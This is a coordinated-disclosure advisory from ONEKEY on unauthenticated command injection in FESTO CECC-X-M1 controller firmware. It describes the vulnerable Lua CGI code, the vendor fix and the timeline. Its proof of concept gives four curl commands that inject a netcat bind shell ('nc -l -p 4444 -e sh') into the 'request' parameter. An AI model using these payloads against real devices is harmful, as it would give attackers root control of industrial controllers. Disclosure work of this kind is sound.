Advisory: FESTO: CECC-X-M1 – Command Injection Vulnerabilities

To evaluate and strengthen the automated vulnerability detection capabilities of ONEKEY, we frequently download and analyze firmware images from a variety of vendors. This is how we stumbled upon the CECC-X-M1 product line, an industrial controller manufactured by FESTO.

We identified multiple issues affecting these devices leading to unauthenticated remote command execution. These issues are detailed below.

Affected vendor & product FESTO Controller CECC-X-M1 (https://www.festo.com/)
Vendor Advisory CERT@VDE Advisory VDE-2022-020
Festo Advisory FSA-202201
Vulnerable version Controller CECC-X-M1 <= 3.8.14
Controller CECC-X-M1 = 4.0.14
Controller CECC-X-M1-MV <= 3.8.14
Controller CECC-X-M1-MV = 4.0.14
Controller CECC-X-M1-MV-S1 <= 3.8.14
Controller CECC-X-M1-MV-S1 = 4.0.14
Controller CECC-X-M1-YS-L1 <= 3.8.14
Controller CECC-X-M1-YS-L2<= 3.8.14
Controller CECC-X-M1-Y-YJKP<= 3.8.14
Servo Press Kit YJKP<= 3.8.14
Servo Press Kit YJKP-<= 3.8.14
Fixed version Version 3.8.18 for 3.8.x branch.
Version 4.0.18 for 4.0.x branch.
CVE IDs CVE-2022-30308
CVE-2022-30309
CVE-2022-30310
CVE-2022-30311
Impact 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H)
Credit M. Illes, ONEKEY Research Lab
Q. Kaiser, ONEKEY Research Lab

Fixed Firmwares

 

Vendor description

Festo is a successful brand of a German multinational industrial control and automation company based in Esslingen am Neckar, Germany. Festo produces and sells pneumatic and electrical control and drive technology for factory or process automation.

Summary

The CECC-MX-M1 is affected by an pre-authentication command injection vulnerability. Any person who is able to gain network access to a CECC-MX-M1 would be able to run arbitrary system commands on the device with root privileges.

Firmware Unpacking

Festo firmwares are packed in different format layers. The first is a ZIP file containing ffwu files. These ffwu files are XML files containing multiple application entries holding base64 encoded gzip streams. Once decoded and decompressed, these streams contain FEZLV partitions, a custom partition format from Festo.

We implemented two custom unblob handlers (one for FFWU, one for FEZLV) in order to have a reproducible and comfortable way of accessing a cleanly unpacked firmware.

The visualization below represents what the firmware looks like using a treemap view that we can generate from unblob’s report files. This treemap can be navigated to “drill” into the firmware structure.

Firmware Analysis

Whenever we identify a scripting language being used by a device, we have the tendency to look for low hanging fruits using our firmware search engine. In our case, we quickly identified potentially vulnerable endpoints by looking for system calls (os.execute) in Lua.

Proof of concept

A web server is listening on CECC-MX-M1 devices, but authentication is only enabled for a limited subset (/cgi-bin/auth) of the interface. Here’s the content of /etc/httpd.conf:

#authentication rules for specific web folders

#uncomment next line if web requires root login for all pages
#/cgi-bin:root:*
/cgi-bin/auth:root:*
#/cgi-bin/hidden:admin:admin

The web interface is made of CGI scripts executed using haserl and Lua.

We found multiple command injection vulnerabilities within the Lua files used by the web server.

Command injection in cecc-x-acknerr-request through ‘request’ POST parameter

In the snippet below, we see that the ‘request’ parameter is fed to os.execute without prior sanitization:

if POST.request then
    local rqPort = POST.request
    if (rqPort ~= "undefined" ) then
        local result = os.execute("cat /ffx/www/public/cam_acknerr.in | sed -e \"s/$/\r/\" | nc " .. ip .. " " .. rqPort .. " > /tmp/web_log.out")
    end
end

Command injection in cecc-x-refresh-request through ‘request’ POST parameter

In the snippet below, we see that the ‘request’ parameter is fed to os.execute without prior sanitization:

if POST.request then
    local rqPort = POST.request
    if (rqPort ~= "undefined" ) then
        local state = os.execute("cat /ffx/www/public/read_state.in | sed -e \"s/$/\r/\" | nc ".. ip .. " " .. rqPort .." > /tmp/web_read_state.out")
    end
end

Command injection in cecc-x-web-viewer-request-off through ‘request’ POST parameter

In the snippet below, we see that the ‘request’ parameter is fed to os.execute without prior sanitization:

if POST.request then
    local rqPort = POST.request
    if (rqPort ~= "undefined" ) then
        local result = os.execute("cat /ffx/www/public/cam_disable_web_viewer.in | sed -e \"s/$/\r/\" | nc " .. ip .. " " .. rqPort .. " > /tmp/web_log.out")
    end
end

Command injection in cecc-x-web-viewer-request-on through ‘request’ POST parameter

In the snippet below, we see that the ‘request’ parameter is fed to os.execute without prior sanitization:

if POST.request then
    local rqPort = POST.request
    if (rqPort ~= "undefined" ) then
        local result = os.execute("cat /ffx/www/public/cam_enable_web_viewer.in | sed -e \"s/$/\r/\" | nc " .. ip .. " " .. rqPort .. " > /tmp/web_log.out")
    end
end

All these issues can be exploited with a single curl call, reproduced below for every identified issue:

curl -X POST http://127.0.0.1:8000/cgi-bin/cecc-x-web-viewer-request-on -d 'request=$(nc -l -p 4444 -e sh)'
curl -X POST http://127.0.0.1:8000/cgi-bin/cecc-x-web-viewer-request-off -d 'request=$(nc -l -p 4444 -e sh)'
curl -X POST http://127.0.0.1:8000/cgi-bin/cecc-x-acknerr-request -d 'request=$(nc -l -p 4444 -e sh)'
curl -X POST http://127.0.0.1:8000/cgi-bin/cecc-x-refresh-request -d 'request=$(nc -l -p 4444 -e sh)'

The Fix

Festo engineers developed a simple yet effective fix: only accepting integers as input parameters. They’re doing it in a quite convoluted way (regular expression and length check while they could have used tonumber), but it works:

local ip = "127.0.0.1"
local response = "unexpected"
local Cross_site_check_port = "^[%d]+$"
if POST.request and string.find(POST.request, Cross_site_check_port) and string.len(POST.request) < 6 then
  local rqPort = POST.request
  local state = os.execute("cat /ffx/www/public/read_state.in | sed -e \"s/$/\r/\" | nc " .. ip .. " " .. rqPort .. " > /tmp/web_read_state.out")require"wui"
--snip--
end

Interestingly, they did not modify the httpd.conf file, leaving parts of the web interface exposed to unauthenticated users.

Key Takeaways

It will be obvious from the timeline, but this is by far our best coordinated vulnerability disclosure experience. Festo had a clear page where we could find details on how to contact their product security incident response team by email, with both PGP and S/MIME encryption available. They rapidly acknowledged our report, confirmed it internally, and coordinated with CERT VDE to release a clear advisory to their customers. They even asked our take on their draft advisory and mitigation.

Timeline

  • 2022-04-08 – Report sent to Festo PSIRT
  • 2022-04-11 – Acknowledgement from Festo PSIRT, Festo starts investigating internally
  • 2022-04-28 – Festo confirms they could reproduce our report.
  • 2022-05-17 – Festo provides CVE IDs, CERT-VDE advisory ID, and draft advisory for review.
  • 2022-05-18 – We provide our comments regarding the draft advisory.
  • 2022-05-23 – Festo provides updated advisory
  • 2022-06-08 – CERT VDE publishes its advisory
  • 2022-07-06 – Festo release its updated firmware
  • 2022-07-07 – ONEKEY advisory release

About ONEKEY

ONEKEY is the leading European specialist in Product Cybersecurity & Compliance Management and part of the investment portfolio of PricewaterhouseCoopers Germany (PwC). The unique combination of an automated Product Cybersecurity & Compliance Platform (PCCP) with expert knowledge and consulting services provides fast and comprehensive analysis, support, and management to improve product cybersecurity and compliance from product purchasing, design, development, production to end-of-life.

Critical vulnerabilities and compliance violations in device firmware are automatically identified in binary code by AI-based technology in minutes – without source code, device, or network access. Proactively audit software supply chains with integrated software bill of materials (SBOM) generation. “Digital Cyber Twins” enable automated 24/7 post-release cybersecurity monitoring throughout the product lifecycle.

The patent-pending, integrated Compliance Wizard™ already covers the upcoming EU Cyber Resilience Act (CRA) and existing requirements according to IEC 62443-4-2, ETSI EN 303 645, UNECE R 155 and many others.

The Product Security Incident Response Team (PSIRT) is effectively supported by the integrated automatic prioritisation of vulnerabilities, significantly reducing the time to remediation.

Leading international companies in Asia, Europe and the Americas already benefit from the ONEKEY Product Cybersecurity & Compliance Platform and ONEKEY Cybersecurity Experts.

 

CONTACT:

Sara Fortmann

Marketing Manager

sara.fortmann@onekey.com

 

euromarcom public relations GmbH

+49 611 973 150

team@euromarcom.de